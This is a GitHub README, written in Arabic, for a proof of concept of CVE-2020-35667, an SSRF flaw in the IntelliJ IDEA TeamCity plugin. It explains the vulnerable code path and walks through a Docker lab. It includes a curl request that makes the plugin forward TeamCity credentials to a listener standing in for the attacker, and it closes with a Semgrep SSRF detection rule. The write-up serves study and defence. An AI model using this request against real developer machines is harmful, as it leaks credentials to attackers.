diekgbbtt/cve-2020-35667-pocاستغلال إثبات المفهوم لـ CVE-2020-35667، وهي ثغرة SSRF في إضافة IntelliJ IDEA TeamCity تؤدي إلى تسريب بيانات الاعتماد عبر معلمة URL غير موثوقة.
إخلاء مسؤولية تم التحقق تجريبيًا من السلوك القابل للاستغلال الموضّح أدناه من ملفات مُفككة ومصحّحة، تُحاول تقريب الثغرة الأصلية المستنتجة عبر نهج استدلالي، نظرًا لأن الإصدار الأصلي القابل للاستغلال من المكوّن الإضافي لم يعد متاحًا. يحتوي المستودع على ملف مضغوط يتضمن بناءً معدّلًا بأدنى حد من التعديلات (مشتق من الإصدار المصحّح) يُستخدم لإعادة إنتاج معزولة في بيئة مختبرية.
تتعلق هذه الثغرة (CVE) بالمكوّن الإضافي لتكامل IntelliJ IDEA مع TeamCity، والذي يتيح دمج بيئة التطوير المتكاملة (IDE) مع TeamCity، وهو منسّق CI/CD وأرشيف يخزّن إعدادات البناء ومخرجات أخرى (artifacts)، ويُعرض عبر واجهات REST/RPC API
يفتح المكوّن الإضافي محليًا نقاط نهاية HTTP قليلة، والتي تُستدعى في السيناريو الشائع مع المكونات التي أضافها المكوّن الإضافي إلى الواجهة الرسومية (GUI). في الإعداد المُراقَب، لا يطبّق هذا الخادم المحلي أي طبقة للتحكم في الوصول، وهو يعمل فعليًا كوسيط بين بيئة التطوير المتكاملة وخادم TeamCity.
يقبل معالج الطلبات من جانب الخادم في المكوّن الإضافي معاملًا يتحكم فيه المستخدم في عنوان URL ويستخدمه لبناء عنوان URL لتنزيل التصحيح دون تحقق كافٍ (CWE-918). يصدر المكوّن الإضافي بعد ذلك طلب HTTP GET إلى عنوان URL المُصمَّم، حاملًا ترويسات مصادقة المستخدم المسجّل دخوله، مع بيانات اعتماد TeamCity، نظرًا لأن TeamCity يعرض واجهات REST/RPC API. بافتراض أن المهاجم يمكنه الوصول إلى جهاز المطوّر (مثل التصيد الاحتيالي أو XSS)، فيمكنه تنفيذ هجوم SSRF (CAPEC-6634)، مما يجبر المكوّن الإضافي على إرسال طلب إلى مضيف يتحكم فيه المهاجم، والذي يستمع إلى نقطة النهاية المضمّنة في المعامل الذي يتحكم فيه المستخدم، مما يؤدي إلى تسريب بيانات الاعتماد. وهو ما يهيئ السياق لتحقيق موطئ قدم أو حركة جانبية على سبيل المثال.
Connection.run() →
يجلب URI الطلب والمعاملات، التي تُحلَّل في خريطة (بما في ذلك معامل )Connection.doHandle()paramsfileActivatorBase.handle(res, params, ...) — res == "/patch" يستدعي handleLoadPatch(params)handleLoadPatch يجدول العمل وينتهي به الأمر إلى استدعاء UrlUtil.createUrl(params, serverUrl) — هذا هو المكوّن الذي عدّلته ليكون قابلًا للاستغلال، حيث تُدرج قيمة file في عنوان URL كـ scheme:address/path دون تحقق، وتُلحق معاملات أخرىActivatorBase.downloadPatch(patchUrl, username, password) ينشئ HttpClient مع UsernamePasswordCredentials ويستدعي client.executeMethod(get)، ويُوجَّه طلب الشبكة الفعلي إلى patchUrlالإعداد الخاص بي: TeamCity 2020.2.1، IntelliJ IDEA Community 2018.1.8، المضيف: ARM64 Kali Linux 2025.3. جميع الحاويات معزولة عن الشبكة (air-gapped)
(اختياري) إنشاء شبكة docker معزولة
docker network create tc-nec
تنزيل وتشغيل IntelliJ IDEA، وإنشاء مشروع مؤقت من أي نوع. تحميل الامتداد المرفق كملف مضغوط
بناء وتشغيل حاوية خادم TeamCity: المكوّنات ذات الصلة متوفرة في مجلد tc-server، والوصول إلى لوحة تحكم TeamCity وإنشاء بيئة teamcity مؤقتة ومستخدم
docker build -t lab-teamcity ./pocartifacts/tc-server
docker run -d --name lab-teamcity \
--network tc-net \
-p 127.0.0.1:8111:8111 \
lab-teamcity
بناء وتشغيل وجهة HTTP الخبيثة: المكوّنات ذات الصلة متوفرة في مجلد http-listener
docker build -t lab-sink ./pocartifacts/http-listener
docker run -d --name lab-sink \
--network tc-net \
-p 127.0.0.1:8000:8000 \
lab-sink
(اختياري) تفعيل تسجيل المكوّن الإضافي بمستوى التتبع (trace) لتحليل تنفيذ مفصّل: واجهة IDE الرسومية ← البحث في إعدادات سجل التصحيح ← إضافة صف #jetbrains.buildServer.activation ← إعادة تشغيل IDE
الاتصال بخادم TeamCity المحلي: Settings → Tools → TeamCity → Add Server وتوجيهه إلى http://127.0.0.1:8111، وتسجيل الدخول بالمستخدم الذي تم إنشاؤه
إرسال الطلب التالي
curl -Is http://localhost:63330/path?file=http://localhost:8000/&modId=&personal=false
سجّل خادم الوجهة (Sink) طلب HTTP الخاص بالمكوّن الإضافي
docker exec lab-sink "cat sink.log"
أود أولًا أن أقترح تحويل الأمان إلى اليسار (shift left) في دورة حياة تطوير البرمجيات (SDLC)، عبر تحديد متطلبات أمان قابلة للقياس والتنفيذ، مع اعتماد متطلبات OWASP ASVS كدليل إرشادي، وتفرعها وتبني ما يتعلق بالكود فقط وذو صلة بمتطلبات التطبيق. يجب على متخصصي أمن التطبيقات ربط هذه المتطلبات بمكونات كود محددة أو حتى بمقاطع برمجية مفردة. يجب تدريب المطورين على معرفة كيفية تنفيذ متطلبات الأمان هذه: معرفة آليات الأمان المدمجة في لغتهم/إطار عملهم. وعليهم معًا العمل على مصفوفة تربط كل متطلب بالحزمة أو الفئة أو الدالة المالكة له وتدرج فحوصات القبول ذات الصلة (اختبارات الوحدة، قواعد SAST)، مما يضمن امتثال قاعدة الكود لمجموعة ASVS المتفرعة.
يجب دمج بوابات مراجعة أمان متعددة عبر خط التسليم بأكمله. بدءًا من جهاز المطوّر مباشرة عبر مكوّن إضافي لـ IDE وخطافات git قبل الالتزام (pre-commit hooks)، وصولًا إلى عمليات الفحص الكاملة في خط CI وDAST القائم على التخمين (fuzzing) في بيئات مخصصة (النشر المستمر). عند أي خطأ يجب أن يفشل البناء/التسليم. يجب باستمرار تجميع البيانات الناتجة عن هذه الفحوصات ومراجعتها لتحسين العملية والقضاء على الإيجابيات الكاذبة والسلبيات الحقيقية.
هذه قاعدة Semgrep نموذجية لكشف بناء URL مع غياب تعقيم المعاملات التي يتحكم فيها المستخدم، بلغة Java مع مكتبة http-client المستخدمة في المكوّن الإضافي
rules:
- id: java-ssrf-url-from-params
patterns:
- pattern-either:
- pattern: |
$A = params.get($P)
...
$URLSTRING = $A + $REST
...
new URL($URLSTRING)
- pattern: |
$A = request.getParameter($P)
...
$URLSTRING = $PREFIX + $A + $SUFFIX
...
new URL($URLSTRING)
- pattern: new URL(params.get($P))
- pattern: new URL(request.getParameter($P))
- pattern-not: "// semgrep:skip"
message: |
Possible SSRF / unsafe URL construction: URL is built from request parameters without validation.
Validate/whitelist scheme and host; canonicalize path; do not forward credentials to untrusted hosts.
languages: [java]
severity: ERROR
metadata:
cwe: "CWE-918"
tags: ["security", "ssrf", "input-validation"]